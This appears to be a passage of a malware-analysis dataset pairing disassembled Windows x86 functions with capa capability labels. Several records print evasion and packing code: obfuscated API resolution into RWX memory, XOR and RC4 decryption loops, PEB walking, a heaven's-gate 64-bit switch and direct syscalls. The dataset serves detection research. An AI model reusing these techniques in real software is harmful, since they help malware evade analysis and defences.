joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001341b
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
mov eax, dword [0x10002830]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
test esi, esi
je 0x1001354d
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ebx, dword [sym.imp.MSO.dll_Ordinal_6137]
cmp eax, 0xffffffff
je 0x1001346d
test al, 0x10
je 0x1001346d
push 0x103
lea eax, [ebp - 0x414]
push eax
push esi
call fcn.10016142
jmp 0x100134da
call fcn.10016142
xor eax, eax
push eax
push eax
push eax
push eax
push 0x100
lea eax, [ebp - 0x20c]
push eax
push 3
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.msvcr100.dll__wsplitpath_s]
lea eax, [ebp - 0x20c]
push eax
call fcn.10016142
add esp, 0x28
test eax, eax
je 0x100134a0
dec eax
add eax, eax
cmp eax, 0x200
jae 0x10013468
xor ecx, ecx
mov word [ebp + eax - 0x20c], cx
mov esi, 0x103
push esi
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.10016142
push esi
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x20c]
push eax
call ebx
mov eax, dword [edi + 4]
test eax, eax
je 0x100134f9
lea ecx, [ebp - 0x414]
push ecx
push eax
call fcn.10016142
neg eax
sbb eax, eax
and eax, 0xfffffc16
jmp 0x10013552
lea eax, [ebp - 0x414]
push eax
call fcn.10016142
lea esi, [eax*2 + 0x1a]
push esi
call dword [sym.imp.msvcr100.dll_malloc]
pop ecx
pop ecx
mov dword [edi + 4], eax
test eax, eax
je 0x10013546
shr esi, 1
push esi
push eax
lea eax, [ebp - 0x414]
push eax
call fcn.10016142
push esi
push dword [edi + 4]
push 0x100012d4
call ebx
push esi
push dword [edi + 4]
push 0x10001ec4
call ebx
xor eax, eax
jmp 0x10013552
mov eax, 0xfffffc0d
jmp 0x10013552
mov eax, 0xfffffc16
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100155e0
leave
ret 4

Function at 0x100155e0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x10002830]
jne fcn.10015aa0
ret
Function at 0x10015aa0
Capabilities:
Terminate process

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x328
mov dword [0x1002d268], eax
mov dword [0x1002d264], ecx
mov dword [0x1002d260], edx
mov dword [0x1002d25c], ebx
mov dword [0x1002d258], esi
mov dword [0x1002d254], edi
mov word [0x1002d280], ss
mov word [0x1002d274], cs
mov word [0x1002d250], ds
mov word [0x1002d24c], es
mov word [0x1002d248], fs
mov word [0x1002d244], gs
pushfd
pop dword [0x1002d278]
mov eax, dword [ebp]
mov dword [0x1002d26c], eax
mov eax, dword [ebp + 4]
mov dword [0x1002d270], eax
lea eax, [ebp + 8]
mov dword [0x1002d27c], eax
mov eax, dword [ebp - 0x320]
mov dword [0x1002d1b8], 0x10001
mov eax, dword [0x1002d270]
mov dword [0x1002d16c], eax
mov dword [0x1002d160], 0xc0000409
mov dword [0x1002d164], 1
mov eax, dword [0x10002830]
mov dword [ebp - 0x328], eax
mov eax, dword [0x1002cc90]
mov dword [ebp - 0x324], eax
call dword [sym.imp.kernel32.dll_IsDebuggerPresent]
mov dword [0x1002d1b0], eax
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0
call dword [sym.imp.kernel32.dll_SetUnhandledExceptionFilter]
push 0x10002840
call dword [sym.imp.kernel32.dll_UnhandledExceptionFilter]
cmp dword [0x1002d1b0], 0
jne 0x10015b8c
push 1
call sub.msvcr100.dll__crt_debugger_hook
pop ecx
push 0xc0000409
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
leave
ret

Function at 0x10016142
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x10016151
pop dword [ebp - 0x30]
mov eax, 0x10016151
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x797594f3
sub dword [ebp - 0x40], 0x2b234fa8
mov dword [ebp - 0x3c], 0x103ada6b
add dword [ebp - 0x3c], 0x21f871da
mov dword [ebp - 0x38], 0x13b5ea24
add dword [ebp - 0x38], 0x38965a0a
mov dword [ebp - 0x34], 0x774a9b03
add dword [ebp - 0x34], 0x88b564fd
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xcd96bfac
sub dword [ebp - 0x40], 0x59245656
mov dword [ebp - 0x3c], 0x1781d545
add dword [ebp - 0x3c], 0x29ea8c30
mov dword [ebp - 0x38], 0x48134167
sub dword [ebp - 0x38], 0xe4a3d4fb
mov dword [ebp - 0x34], 0x127dbd6e
add dword [ebp - 0x34], 0xed824292
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0xf41f1519
add eax, 0x1be0fc47
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x3c8c8
push 0
call eax
mov ecx, 0xb5cd5e16
sub ecx, 0xb5cd0eee
mov edx, eax
mov edi, 0x10030a00
add edi, dword [ebp - 0x30]
mov esi, 0xd6bf03ad
add esi, 0x78580a24
add dword [ebp - 0x24], 0x9024d5ad
mov ebx, dword [edi]
add dword [ebp - 0x2c], edi
xor ebx, esi
sub dword [ebp - 0x20], 0xfa05b7e9
mov dword [edx], ebx
mov dword [ebp - 0x18], 0x55b51e35
add edx, 0x2ae2095b
sub edx, 0x2ae20957
add edi, 0x283d0c9d
sub edi, 0x283d0c99
loop 0x10016263
add eax, 0xc8946b08
sub eax, 0xc8933b95
xor ebx, ebx
add ebx, eax
add eax, 0xd2a289b2
add eax, 0x2d5d7653
mov ecx, 0xdf5a9a8b
sub ecx, 0xcf5a9a8b
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x4058d5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x4058e4
pop dword [ebp - 0x3c]
mov eax, 0x4058e4
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x16d25bdd
sub dword [ebp - 0x4c], 0xc8801692
mov dword [ebp - 0x48], 0xb3cdd814
sub dword [ebp - 0x48], 0x819a8bcf
mov dword [ebp - 0x44], 0x5c362638
sub dword [ebp - 0x44], 0xfe9e20a
mov dword [ebp - 0x40], 0x152ff769
add dword [ebp - 0x40], 0xead00897
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x9f93f581
add dword [ebp - 0x4c], 0xd4de73d5
mov dword [ebp - 0x48], 0x9786d704
sub dword [ebp - 0x48], 0x561a758f
mov dword [ebp - 0x44], 0x3d27d126
add dword [ebp - 0x44], 0x26479b46
mov dword [ebp - 0x40], 0xefe5234
sub dword [ebp - 0x40], 0xefe5234
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xbb7b2f48
add eax, 0x44c551b8
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3bcd8
push 0
call eax
mov ecx, 0x5b59
xor edi, edi
add edi, eax
mov esi, 0x2dc89230
sub esi, 0x2d838e30
add esi, dword [ebp - 0x3c]
mov ebx, 0x623dd5b2
add ebx, 0xf20b8a58
sub dword [ebp - 0x2c], 0xa6e64325
mov edx, dword [esi]
mov dword [ebp - 0x34], 0xea16376
xor edx, ebx
mov dword [ebp - 4], 0x852bcbee
mov dword [edi], edx
sub dword [ebp - 0x24], 0x5986e824
add edi, 0x4635dbe8
sub edi, 0x4635dbe4
add esi, 0xc67d6ac3
add esi, 0x39829541
loop 0x4059f8
add eax, 0x16037
mov ebx, eax
add eax, 0xfb41ed
add eax, 0xff04be18
mov ecx, 0x400000
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x405ba0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push esi
push edi
push dword [esp + 0xc]
mov esi, 0x42fa50
push esi
call fcn.004060e4
push esi
call fcn.00405b43
mov edi, eax
test edi, edi
jne 0x405bc1
xor eax, eax
jmp 0x405c19
push edi
call fcn.00406378
test byte [0x434ef8], 0x80
je 0x405bde
mov ax, word [edi]
test ax, ax
je 0x405bbd
cmp ax, 0x5c
je 0x405bbd
sub edi, esi
sar edi, 1
jmp 0x405bf8
call fcn.00406427
test eax, eax
je 0x405bf2
test byte [eax], 0x10
je 0x405bbd
push esi
call fcn.00405ae4
push esi
call sub.kernel32.dll_lstrlenW
cmp eax, edi
push esi
jg 0x405be4
call fcn.00405a98
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop edi
pop esi
ret 4

Function at 0x405c94
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
push esi
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405cb3
and al, 0xfe
push eax
push dword [esp + 0xc]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
mov eax, esi
pop esi
ret 4

Function at 0x405cb9
Capabilities:
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
mov ecx, eax
push 0
inc ecx
neg ecx
sbb ecx, ecx
and ecx, eax
push ecx
push dword [esp + 0x14]
push 0
push 1
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.kernel32.dll_CreateFileW]
ret 0xc
Function at 0x411e58
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, eax
call sub.kernel32.dll_GetTickCount
mov esi, eax
call sub.kernel32.dll_GetTickCount
mov ebx, eax
mov eax, dword [sym.imp.vcl70.bpl__Forms_Application]
mov eax, dword [eax]
call sub.vcl70.bpl__Forms_TApplication_ProcessMessages_qqrv
mov eax, ebx
sub eax, esi
xor edx, edx
push edx
push eax
mov eax, edi
cdq
cmp edx, dword [esp + 4]
jne 0x411e94
cmp eax, dword [esp]
pop edx
pop eax
ja 0x411e67
jmp 0x411e98
pop edx
pop eax
jg 0x411e67
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x411ea0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
call sub.kernel32.dll_GetTickCount
mov ebx, eax
call sub.kernel32.dll_GetTickCount
mov ecx, eax
mov eax, ecx
sub eax, ebx
xor edx, edx
push edx
push eax
mov eax, esi
cdq
cmp edx, dword [esp + 4]
jne 0x411ecf
cmp eax, dword [esp]
pop edx
pop eax
ja 0x411eae
jmp 0x411ed3
pop edx
pop eax
jg 0x411eae
pop esi
pop ebx
pop ebp
ret

Function at 0x4181b0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, eax
call fcn.00401540
mov ebx, eax
call fcn.00401540
sub eax, ebx
cmp esi, eax
jg 0x4181be
pop esi
pop ebx
pop ebp
ret
Function at 0x402470
Capabilities:
Packed with generic packer

Disassembly:
push ebp
push esp
pop ebp
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0xc]
mov eax, esi
shr eax, 4
push edi
inc eax
movzx eax, ax
push 6
push eax
push ebx
mov edi, ecx
call dword [0x40d010]
or eax, eax
je 0x40251c
push esi
push eax
pop edx
push ebx
pop ecx
call fcn.00402a80
push eax
pop ebx
add esp, 4
or ebx, ebx
je 0x40251c
movzx ecx, word [ebx]
push 0
push 0
push 0
push 0
push ecx
lea eax, [ebx + 2]
push eax
push 0
push 3
call dword [0x40d054]
mov esi, eax
test esi, esi
js 0x402525
mov eax, dword [edi]
pushfd
xor ecx, ecx
inc ecx
popfd
sub ecx, dword [eax - 4]
mov eax, dword [eax - 8]
sub eax, esi
or ecx, eax
jge 0x4024e7
push esi
mov ecx, edi
call fcn.00402830
movzx eax, word [ebx]
push 0
push 0
push esi
push dword [edi]
push eax
lea eax, [ebx + 2]
push eax
push 0
push 3
call dword [0x40d054]
mov ecx, dword [edi]
cmp esi, dword [ecx - 8]
jg 0x402525
mov dword [ecx - 0xc], esi
mov ecx, dword [edi]
pop edi
mov byte [esi + ecx], 0
pop esi
push 1
pop eax
pushal
popal
pop ebx
pop ebp
ret 8
pop edi
pop esi
xor eax, eax
pop ebx
pop ebp
ret 8
push 0x80070057
call fcn.00402bb0
int3

Function at 0x407030
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push ebx
mov ecx, dword [eax + 0x3c]
add ecx, eax
push esi
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
sub edx, edx
add eax, ecx
push edi
test ebx, ebx
je 0x40706c
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407064
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x40706e
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407054
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407140
Capabilities:
Parse pe header

Disassembly:
push ebp
push esp
pop ebp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
je 0x407154
sub eax, eax
pop ebp
ret
mov ecx, dword [eax + 0x3c]
add ecx, eax
xor eax, eax
cmp dword [ecx], 0x4550
jne 0x40716f
mov edx, 0x10b
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret

Function at 0x42e003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
call 0x42e00c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403ac5
nop
nop
sub eax, 0x403a6b
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
jl 0x42e030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x42e01e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x4022c0
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0xc08
push ebx
push ebp
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], edx
push esi
push edi
test ecx, ecx
je 0x40230b
xor esi, esi
lea edi, [esp + 0x818]
mov al, byte [esi + ecx]
test al, al
je 0x4022fb
cbw
inc esi
mov word [edi], ax
add edi, 2
cmp esi, 0x1ff
jb 0x4022e1
jmp 0x402300
xor eax, eax
mov word [edi], ax
lea edx, [esp + 0x818]
mov dword [esp + 0x10], edx
xor edi, edi
xor ebp, ebp
test edx, edx
je 0x40235b
mov edi, edx
lea ecx, [edi + 2]
jmp 0x402320
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x402320
sub edi, ecx
sar edi, 1
cmp edi, 0x200
jb 0x40233c
mov edi, 0x1ff
push edi
push edx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00402800
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x40237d
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x4023f0
mov esi, dword [ebx]
cmp esi, ebx
je 0x4023f0
test esi, esi
je 0x4023f0
cmp word [esi + 0x24], 2
jbe 0x4023ea
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x4023ea
cmp dword [esi + 0x18], 0
je 0x4023ea
test ebp, ebp
je 0x4023a5
cmp ebp, eax
jne 0x4023ea
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00402800
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4023ca
cmp eax, dword [esi + 0x18]
jne 0x4023ea
cmp dword [esp + 0x10], 0
je 0x4023fd
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.00401c20
add esp, 8
test eax, eax
je 0x4023fd
mov esi, dword [esi]
cmp esi, ebx
jne 0x402383
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xc08
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0xc08
ret
Function at 0x402590
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
sub esp, 0x808
push ebx
push ebp
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], edx
xor ebp, ebp
mov dword [esp + 0x14], ecx
test ecx, ecx
je 0x4025eb
mov edi, ecx
lea edx, [edi + 2]
nop
mov ax, word [edi]
add edi, 2
test ax, ax
jne 0x4025b0
sub edi, edx
sar edi, 1
cmp edi, 0x200
jb 0x4025cc
mov edi, 0x1ff
push edi
push ecx
lea eax, [esp + 0x420]
push eax
lea ebp, [edi + edi]
call fcn.00402800
add esp, 0xc
xor eax, eax
mov word [esp + ebp + 0x418], ax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0xc
jne 0x40260d
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov ebx, dword [eax + 0xc]
add ebx, 0x14
je 0x40267f
mov esi, dword [ebx]
cmp esi, ebx
je 0x40267f
test esi, esi
je 0x40267f
cmp word [esi + 0x24], 2
jbe 0x402679
movzx eax, word [esi + 0x2c]
cmp eax, 2
jbe 0x402679
cmp dword [esi + 0x18], 0
je 0x402679
test ebp, ebp
je 0x402635
cmp ebp, eax
jne 0x402679
push edi
push dword [esi + 0x30]
lea eax, [esp + 0x20]
push eax
call fcn.00402800
mov edx, dword [esp + 0x1c]
xor eax, eax
add esp, 0xc
mov word [esp + edi*2 + 0x18], ax
test edx, edx
je 0x40265a
cmp edx, dword [esi + 0x18]
jne 0x402679
cmp dword [esp + 0x14], eax
je 0x40268c
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x41c]
push eax
call fcn.00401c20
add esp, 8
test eax, eax
je 0x40268c
mov esi, dword [esi]
cmp esi, ebx
jne 0x402613
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x808
ret
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x808
ret

Function at 0x4026d0
Capabilities:
Check os version

Disassembly:
mov ecx, 1
mov edx, 0x7f3d48
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x4027f9
cmp dword fs:[0xc0], eax
je 0x4026fb
mov dword [0x7f3d44], 1
mov eax, dword fs:[0x18]
push ebx
push esi
mov ebx, 1
mov esi, dword [eax + 0x30]
mov eax, dword [esi + 0xa4]
mov dword [0x7f3c2c], eax
mov eax, dword [esi + 0xa8]
mov dword [0x7f3c30], eax
movzx edx, word [esi + 0xac]
mov dword [0x7f3c34], edx
mov eax, dword [esi + 0xb0]
mov dword [0x7f3c38], eax
mov eax, dword [esi + 0x1f4]
test eax, eax
je 0x40275b
push 0x7f
push eax
push 0x7f3c3c
call fcn.00402800
mov edx, dword [0x7f3c34]
add esp, 0xc
jmp 0x402763
xor eax, eax
mov word [0x7f3c3c], ax
movzx eax, byte [esi + 0xaf]
mov ecx, 0xff
mov word [0x7f3d3c], ax
movzx eax, word [esi + 0xae]
and ax, cx
mov word [0x7f3d3e], ax
movzx eax, word [0x7ffe02d0]
mov word [0x7f3d40], ax
mov ecx, eax
mov byte [0x7f3d42], 0
cmp byte [0x7ffe0268], 0
je 0x4027aa
mov ebx, dword [0x7ffe0264]
pop esi
mov byte [0x7f3d42], bl
cmp ebx, 1
pop ebx
jne 0x4027c4
and ecx, 0xffef
mov word [0x7f3d40], cx
test edx, edx
jne 0x4027f9
call fcn.004026d0
cmp dword [0x7f3c2c], 6
ja 0x4027f9
jb 0x4027e1
cmp dword [0x7f3c30], 4
jae 0x4027f9
call fcn.004026d0
cmp dword [0x7f3c2c], 0xa
jae 0x4027f9
mov dword [0x7f3c34], 1
ret
Function at 0x402b80
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [0x7f4bfc]
sub esp, 0x11c
test eax, eax
jne 0x402c7e
push ebx
push esi
push edi
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov word [esp + 0x2c], ax
lea eax, [esp + 0x30]
push eax
call fcn.004021a0
add esp, 0xc
xor edi, edi
xor eax, eax
lea ebx, [ebx]
mov byte [esp + eax + 0x28], al
inc eax
cmp eax, 0x100
jb 0x402bd0
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x28]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41c100]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x28]
mov byte [esp + esi + 0x28], al
inc esi
mov byte [esp + edi + 0x28], dl
cmp esi, 0x100
jb 0x402be0
xor edi, edi
xor ebx, ebx
xor esi, esi
lea eax, [edi + 1]
movzx edi, al
mov cl, byte [esp + edi + 0x28]
movzx edx, cl
lea eax, [edx + ebx]
movzx ebx, al
movzx eax, byte [esp + ebx + 0x28]
mov byte [esp + edi + 0x28], al
mov byte [esp + ebx + 0x28], cl
movzx eax, byte [esp + edi + 0x28]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x28]
xor al, byte [esi + 0x41c104]
mov byte [esp + esi + 0xc], al
inc esi
cmp esi, 0x1a
jb 0x402c15
xor edx, edx
lea ecx, [esp + 0xc]
call fcn.00402590
pop edi
pop esi
pop ebx
test eax, eax
je 0x402c79
mov eax, dword [eax + 0x18]
test eax, eax
je 0x402c79
mov dword [0x7f4bfc], eax
add esp, 0x11c
ret
mov eax, dword [0x7f4bfc]
add esp, 0x11c
ret
Function at 0x402c90
Capabilities:
Encode data using xor
Encrypt data using rc4 prga
Get windows directory from kuser_shared_data

Disassembly:
mov eax, dword [0x7f3c08]
sub esp, 0x20c
push ebp
mov ebp, ecx
push esi
push edi
test eax, eax
je 0x402e3d
cmp dword [0x7f3c0c], 0
jne 0x402e29
xor eax, eax
push 0x100
push eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov word [esp + 0x1c], ax
mov byte [esp + 0x1e], al
lea eax, [esp + 0x20]
push eax
call fcn.004021a0
add esp, 0xc
xor edi, edi
xor eax, eax
nop
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x402ce0
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x18]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + 0x41c0d4]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jb 0x402cf0
xor esi, esi
xor edi, edi
xor edx, edx
lea eax, [esi + 1]
movzx esi, al
mov cl, byte [esp + esi + 0x18]
movzx eax, cl
add eax, edi
movzx edi, al
movzx eax, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
mov byte [esp + edi + 0x18], cl
movzx eax, byte [esp + esi + 0x18]
movzx ecx, cl
add ecx, eax
movzx eax, cl
movzx eax, byte [esp + eax + 0x18]
xor al, byte [edx + str._v7_]
mov byte [esp + edx + 0xc], al
inc edx
cmp edx, 0xb
jb 0x402d25
push 0x200
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.004021a0
mov edx, 0x7ffe0030
add esp, 0xc
xor ecx, ecx
lea esi, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x402d84
sub edx, esi
sar edx, 1
je 0x402e3d
mov esi, ebp
lea edi, [esi + 1]
mov edi, edi
mov al, byte [esi]
inc esi
test al, al
jne 0x402da0
sub esi, edi
add edx, 0xc
add edx, esi
cmp edx, 0x200
ja 0x402e3d
xor eax, eax
push ebx
test edx, edx
je 0x402dd8
movzx ebx, word [eax + eax + 0x7ffe0030]
test bx, bx
je 0x402dd8
mov byte [esp + eax + 0x1c], bl
inc ecx
inc eax
cmp eax, edx
jb 0x402dc1
xor eax, eax
test edx, edx
je 0x402df2
mov edi, edi
mov bl, byte [esp + eax + 0x10]
test bl, bl
je 0x402df2
mov byte [esp + ecx + 0x1c], bl
inc eax
inc ecx
cmp eax, edx
jb 0x402de0
xor eax, eax
test edx, edx
je 0x402e0f
lea ecx, [esp + ecx + 0x1c]
lea esp, [esp]
mov bl, byte [eax + ebp]
test bl, bl
je 0x402e0f
mov byte [ecx], bl
inc eax
inc ecx
cmp eax, edx
jb 0x402e00
push 8
push 0
lea eax, [esp + 0x24]
push eax
call dword [0x7f3c08]
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
push 0x800
push 0
push ebp
call eax
pop edi
pop esi
pop ebp
add esp, 0x20c
ret
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x20c
ret
Function at 0x402e80
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
sub esp, 0x40
push ebx
push esi
push edi
test ecx, ecx
jle 0x402ea8
mov eax, dword [ebp + 0x10]
lea edx, [ebp + 0x18]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0xc], eax
jmp 0x402eb6
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
test ecx, ecx
jle 0x402ecf
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x402edd
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
test ecx, ecx
jle 0x402ef6
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x402f04
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
test ecx, ecx
jle 0x402f1d
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x402f2b
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov eax, edx
mov dword [ebp - 0x30], 0
cdq
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov word [ebp - 8], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call 0x402f72
add dword [esp], 5
retf
Function at 0x41b862
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret